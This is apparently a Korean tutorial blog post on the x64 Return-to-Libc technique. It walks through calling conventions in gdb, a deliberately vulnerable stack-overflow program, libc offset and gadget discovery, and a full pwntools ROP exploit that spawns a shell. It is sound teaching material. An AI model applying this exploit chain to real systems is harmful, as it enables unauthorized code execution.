RTL - x64

studyexploit tech
avatar
2025.06.10
·
14 min read

RTL(Return to Libc)

  • RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.

    • 해당 기법을 이용해 NX bit(DEP)를 우회 할 수 있습니다.

Calling Convention

System V AMD64 ABI

  • Solaris, Linux, FreeBSD, macOS 에서 “System V AMD64 ABI” 호출 규약을 사용합니다.

    • Unix, Unix 계열 운영체제의 표준이라고 할 수 있습니다.

  • 해당 호출 규약은 다음과 같은 특징이 있습니다.

    • 레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달됩니다.

    • 레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 및 XMM7은 부동 소수점 인수가 전달됩니다.

Calling convention features

인자 전달 방법

RDI, RSI, RDX, RCX, R8, R9, XMM0–7

인자 전달 순서

오른쪽에서 왼쪽의 순서로 레지스터에 저장됩니다.

함수의 반환 값

EAX

Stack 정리

호출한 함수가 호출된 함수의 stack 공간을 정리함

  • 아래 코드는 4개의 인자를 전달 받고, 반환값은 ret변수에 저장합니다.

Calling convention example (C language)

int a,b,c,d;
int ret;
 
ret = function(a,b,c,d);
  • 위 코드를 cdecl 형태의 어셈블리어로 변환하면 아래와 같습니다.

    • 4개의 인자 값을 mov 명령어를 이용해 레지스터에 저장합니다.

    • 함수 호출 후 반환된 값은 EAX 레지스터에 저장되며, 해당 값을 ret 변수에 저장합니다.

Calling convention example (Assembly code)

mov     rcx,d
mov     rdx,c
mov     rsi,b
mov     rdi,a
call    function
mov     ret,eax

Example

  • "System V AMD64 ABI" 함수 호출 규약을 확인하기 위해 다음과 같은 코드를 사용합니다.

test.c

//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
 
void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}
 
void main(){
        vuln(1,2,3,4);
}
  • 아래와 같이 gdb를 이용하여 "System V AMD64 ABI" 함수 호출 규약 형태를 확인 할 수 있습니다.

    • main() 함수에서 vuln() 함수의 인자 값을 mov 명령어를 이용해 각 레지스터에 저장합니다.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401173 <+0>:     endbr64
   0x0000000000401177 <+4>:     push   rbp
   0x0000000000401178 <+5>:     mov    rbp,rsp
   0x000000000040117b <+8>:     mov    ecx,0x4
   0x0000000000401180 <+13>:    mov    edx,0x3
   0x0000000000401185 <+18>:    mov    esi,0x2
   0x000000000040118a <+23>:    mov    edi,0x1
   0x000000000040118f <+28>:    call   0x401136 <vuln>
   0x0000000000401194 <+33>:    nop
   0x0000000000401195 <+34>:    pop    rbp
   0x0000000000401196 <+35>:    ret
End of assembler dump.
gdb-peda$ b*main+28
Breakpoint 1 at 0x40118f
  • 아래와 같이 각 레지스터에 저장된 vuln() 함수의 인자 값을 확인 할 수 있습니다.

Breakpoint 1, 0x000000000040118f in main ()
gdb-peda$ i r
rax            0x401173            0x401173
rbx            0x4011a0            0x4011a0
rcx            0x4                 0x4
rdx            0x3                 0x3
rsi            0x2                 0x2
rdi            0x1                 0x1
rbp            0x7fffffffde70      0x7fffffffde70
rsp            0x7fffffffde70      0x7fffffffde70
r8             0x0                 0x0
r9             0x7ffff7fe0d60      0x7ffff7fe0d60
r10            0x7                 0x7
r11            0x0                 0x0
r12            0x401050            0x401050
r13            0x7fffffffdf60      0x7fffffffdf60
r14            0x0                 0x0
r15            0x0                 0x0
rip            0x40118f            0x40118f <main+28>
eflags         0x246               [ PF ZF IF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                 0x0
es             0x0                 0x0
fs             0x0                 0x0
gs             0x0                 0x0
  • 그리고 vuln() 함수는 printf() 함수에 인자를 전달 하기 위해 인자를 재배치 합니다.

    • printf() 함수의 첫번째 인자는 "%d, %d, %d, %d" 입니다.

    • 이로 인해 각 레지스터의 값이 재배치 됩니다.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401136 <+0>:     endbr64
   0x000000000040113a <+4>:     push   rbp
   0x000000000040113b <+5>:     mov    rbp,rsp
   0x000000000040113e <+8>:     sub    rsp,0x10
   0x0000000000401142 <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401145 <+15>:    mov    DWORD PTR [rbp-0x8],esi
   0x0000000000401148 <+18>:    mov    DWORD PTR [rbp-0xc],edx
   0x000000000040114b <+21>:    mov    DWORD PTR [rbp-0x10],ecx
   0x000000000040114e <+24>:    mov    esi,DWORD PTR [rbp-0x10]
   0x0000000000401151 <+27>:    mov    ecx,DWORD PTR [rbp-0xc]
   0x0000000000401154 <+30>:    mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000401157 <+33>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040115a <+36>:    mov    r8d,esi
   0x000000000040115d <+39>:    mov    esi,eax
   0x000000000040115f <+41>:    lea    rdi,[rip+0xe9e]        # 0x402004
   0x0000000000401166 <+48>:    mov    eax,0x0
   0x000000000040116b <+53>:    call   0x401040 <printf@plt>
   0x0000000000401170 <+58>:    nop
   0x0000000000401171 <+59>:    leave
   0x0000000000401172 <+60>:    ret
End of assembler dump.
gdb-peda$ b*vuln+53
Breakpoint 2 at 0x40116b
  • 아래와 같이 각 레지스터에서 printf() 함수에 전달되는 인자 값을 확인 할 수 있습니다.

Register

Value

Explanation

RDI

0x402004

"%d, %d, %d, %d"

RSI

0x1

Arg 1

RDX

0x2

Arg 2

RCX

0x3

Arg 3

R8

0x4

Arg 4

Breakpoint 2, 0x000000000040116b in vuln ()
gdb-peda$ i r
rax            0x0                 0x0
rbx            0x4011a0            0x4011a0
rcx            0x3                 0x3
rdx            0x2                 0x2
rsi            0x1                 0x1
rdi            0x402004            0x402004
rbp            0x7fffffffde60      0x7fffffffde60
rsp            0x7fffffffde50      0x7fffffffde50
r8             0x4                 0x4
r9             0x7ffff7fe0d60      0x7ffff7fe0d60
r10            0x7                 0x7
r11            0x0                 0x0
r12            0x401050            0x401050
r13            0x7fffffffdf60      0x7fffffffdf60
r14            0x0                 0x0
r15            0x0                 0x0
rip            0x40116b            0x40116b <vuln+53>
eflags         0x206               [ PF IF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                 0x0
es             0x0                 0x0
fs             0x0                 0x0
gs             0x0                 0x0
gdb-peda$ x/s 0x402004
0x402004:       "%d, %d, %d, %d"
  • ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장할 수 있어야 합니다.

  • 아래와 같은 방법으로 레지스터에 값을 저장할 수 있습니다.

    • Return Address 영역에 “pop rdi, ret” 코드가 저장된 주소 값을 저장합니다.

    • Return Address 다음 영역 해당 레지스터에 저장할 인자 값을 저장합니다.

    • 그 다음 영역에 호출 할 함수의 주소를 저장합니다.

    • 이러한 방식은 ROP(Return-oriented programming)라고 하며, 자세한 내용은 다른 장에서 설명하겠습니다.

  • 즉, 아래와 같은 구조로 ret2libc를 사용할 수 있습니다.

ret2libc structure

Stack Address

Value

Explanation

0x7fffffffe498

Gadget(POP RDI, ret) Address

Return address area of function

0x7fffffffe4a0

First argument value

0x7fffffffe4a8

System function address of libc

Proof of concept

Overwriting the return address

  • Return to Shellcode를 확인하기 위해 아래 코드를 사용합니다.

    • main() 함수는 vuln() 함수를 호출합니다.

    • vuln() 함수는 read() 함수를 이용해 사용자로 부터 100개의 문자를 입력받습니다.

      • 여기에서 취약점이 발생합니다. buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생합니다.

ret2libc.c

// gcc -fno-stack-protector -no-pie -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}
 
void main(){
    vuln();
}
  • 아래와 같이 Break point를 설정합니다.

    • 0x400676 : vuln() 함수의 첫번째 명령어

    • 0x4006e0 : read() 함수 호출

    • 0x4006e7 : vuln() 함수의 RET 명령어

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   rbp
   0x000000000040117b <+5>:     mov    rbp,rsp
   0x000000000040117e <+8>:     sub    rsp,0x40
   0x0000000000401182 <+12>:    mov    QWORD PTR [rbp-0x40],0x0
   0x000000000040118a <+20>:    mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401192 <+28>:    mov    QWORD PTR [rbp-0x30],0x0
   0x000000000040119a <+36>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004011a2 <+44>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011aa <+52>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004011b2 <+60>:    mov    WORD PTR [rbp-0x10],0x0
   0x00000000004011b8 <+66>:    lea    rsi,[rip+0xe45]        # 0x402004
   0x00000000004011bf <+73>:    mov    rdi,0xffffffffffffffff
   0x00000000004011c6 <+80>:    call   0x401080 <dlsym@plt>
   0x00000000004011cb <+85>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011cf <+89>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011d3 <+93>:    mov    rsi,rax
   0x00000000004011d6 <+96>:    lea    rdi,[rip+0xe2e]        # 0x40200b
   0x00000000004011dd <+103>:   mov    eax,0x0
   0x00000000004011e2 <+108>:   call   0x401060 <printf@plt>
   0x00000000004011e7 <+113>:   lea    rax,[rbp-0x40]
   0x00000000004011eb <+117>:   mov    edx,0x64
   0x00000000004011f0 <+122>:   mov    rsi,rax
   0x00000000004011f3 <+125>:   mov    edi,0x0
   0x00000000004011f8 <+130>:   call   0x401070 <read@plt>
   0x00000000004011fd <+135>:   nop
   0x00000000004011fe <+136>:   leave
   0x00000000004011ff <+137>:   ret
End of assembler dump.
gdb-peda$ b*vuln
Breakpoint 1 at 0x401176
gdb-peda$ b*vuln+130
Breakpoint 2 at 0x4011f8
gdb-peda$ b*vuln+137
Breakpoint 3 at 0x4011ff
  • 아래와 같이 return address를 확인할 수 있습니다.

    • ESP 레지스터가 가리키고 있는 Stack의 주소는 0x7fffffffde68입니다.

    • 0x7fffffffde68 영역에 Return address(0x0000000000401212)가 저장되어 있습니다.

gdb-peda$ i r rsp
rsp            0x7fffffffde68      0x7fffffffde68
gdb-peda$ x/gx 0x7fffffffde68
0x7fffffffde68: 0x0000000000401212
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401200 <+0>:     endbr64
   0x0000000000401204 <+4>:     push   rbp
   0x0000000000401205 <+5>:     mov    rbp,rsp
   0x0000000000401208 <+8>:     mov    eax,0x0
   0x000000000040120d <+13>:    call   0x401176 <vuln>
   0x0000000000401212 <+18>:    nop
   0x0000000000401213 <+19>:    pop    rbp
   0x0000000000401214 <+20>:    ret
End of assembler dump.
  • 아래와 같이 buf의 주소를 확인할 수 있습니다.

    • buf의 위치는 0x7fffffffde20이며, Return address 위치와 72바이트 떨어져 있습니다.

    • 즉 사용자 입력값으로 문자를 72개 이상 입력하면, Return address를 덮어 쓸수 있습니다.

Breakpoint 2, 0x00000000004011f8 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffde20      0x7fffffffde20
gdb-peda$ p/d 0x7fffffffde68 - 0x7fffffffde20
$1 = 72
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJ
  • 아래와 같이 Return address 값이 변경된 것을 확인할 수 있습니다.

    • 0x7fffffffde68 영역에 0x4a4a4a4a4a4a4a4a(JJJJJJJJ)가 저장되었습니다.

Breakpoint 3, 0x00000000004011ff in vuln ()
gdb-peda$ x/gx 0x7fffffffde68
0x7fffffffde68: 0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffffde68
0x7fffffffde68: "JJJJJJJJ\n"

Find the Libc address of the system() function and “/bin/sh”

  • 아래와 같이 Libc 영역에서 System() 함수의 주소를 찾을 수 있습니다.

gdb-peda$ print system
$2 = {int (const char *)} 0x7ffff7e16290 <__libc_system>
gdb-peda$ info proc map
process 243
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/sung/mungso/playground/rtl/64/ret2libc
            0x401000           0x402000     0x1000     0x1000 /home/sung/mungso/playground/rtl/64/ret2libc
            0x402000           0x403000     0x1000     0x2000 /home/sung/mungso/playground/rtl/64/ret2libc
            0x403000           0x404000     0x1000     0x2000 /home/sung/mungso/playground/rtl/64/ret2libc
            0x404000           0x405000     0x1000     0x3000 /home/sung/mungso/playground/rtl/64/ret2libc
            0x405000           0x426000    0x21000        0x0 [heap]
      0x7ffff7dc1000     0x7ffff7dc4000     0x3000        0x0
      0x7ffff7dc4000     0x7ffff7de6000    0x22000        0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7de6000     0x7ffff7f5e000   0x178000    0x22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7f5e000     0x7ffff7fac000    0x4e000   0x19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fac000     0x7ffff7fb0000     0x4000   0x1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fb0000     0x7ffff7fb2000     0x2000   0x1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
      0x7ffff7fb2000     0x7ffff7fb6000     0x4000        0x0
      0x7ffff7fb6000     0x7ffff7fb7000     0x1000        0x0 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
      0x7ffff7fb7000     0x7ffff7fb9000     0x2000     0x1000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
      0x7ffff7fb9000     0x7ffff7fba000     0x1000     0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
      0x7ffff7fba000     0x7ffff7fbb000     0x1000     0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
      0x7ffff7fbb000     0x7ffff7fbc000     0x1000     0x4000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
      0x7ffff7fbc000     0x7ffff7fbe000     0x2000        0x0
      0x7ffff7fc9000     0x7ffff7fcd000     0x4000        0x0 [vvar]
      0x7ffff7fcd000     0x7ffff7fcf000     0x2000        0x0 [vdso]
      0x7ffff7fcf000     0x7ffff7fd0000     0x1000        0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7fd0000     0x7ffff7ff3000    0x23000     0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ff3000     0x7ffff7ffb000     0x8000    0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
gdb-peda$ p/x 0x7ffff7e25c90 - 0x7ffff7dc4000 //print - 시스템 주소
$3 = 0x61c90
gdb-peda$ p/x 0x7ffff7e16290 - 0x7ffff7dc4000 //system - 시스템주소
$4 = 0x52290
  • 아래와 같이 “/bin/sh” 문자열을 찾을 수 있습니다.

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f785bd --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7f785bd - 0x7ffff7dc4000
$5 = 0x1b45bd
  • 아래와 같이 필요한 가젯을 찾을 수 있습니다.

gdb-peda$ ropsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00401283 : (b'5fc3')  pop rdi; ret

Exploit

from pwn import *

p = process('./ret2libc')

p.recvuntil(b'Printf() address : ')
print_addr = p.recvuntil(b'\n')
print_addr = int(print_addr,16)

libc_base = print_addr - 0x61c90
sys_addr = libc_base + 0x52290
binsh = libc_base + 0x1b45bd
poprdi = 0x0000000000401283
nop = 0x000000000040101a

log.info("libc_base : " + str(hex(libc_base)))
log.info("system : " + str(hex(sys_addr)))
log.info("/bin/sh : " + str(hex(binsh)))

payload = b'A' * 72
payload += p64(nop)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(sys_addr)

p.sendline(payload)
p.interactive()
❯ py exploit.py
[+] Starting local process './ret2libc': pid 1354
[*] libc_base : 0x7f77d7f2a000
[*] system : 0x7f77d7f7c290
[*] /bin/sh : 0x7f77d80de5bd
[*] Switching to interactive mode
/bin/sh: 1: w\x7f: Permission denied
$ id
uid=1000(sung) gid=1000(sung) groups=1000(sung),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)






- 컬렉션 아티클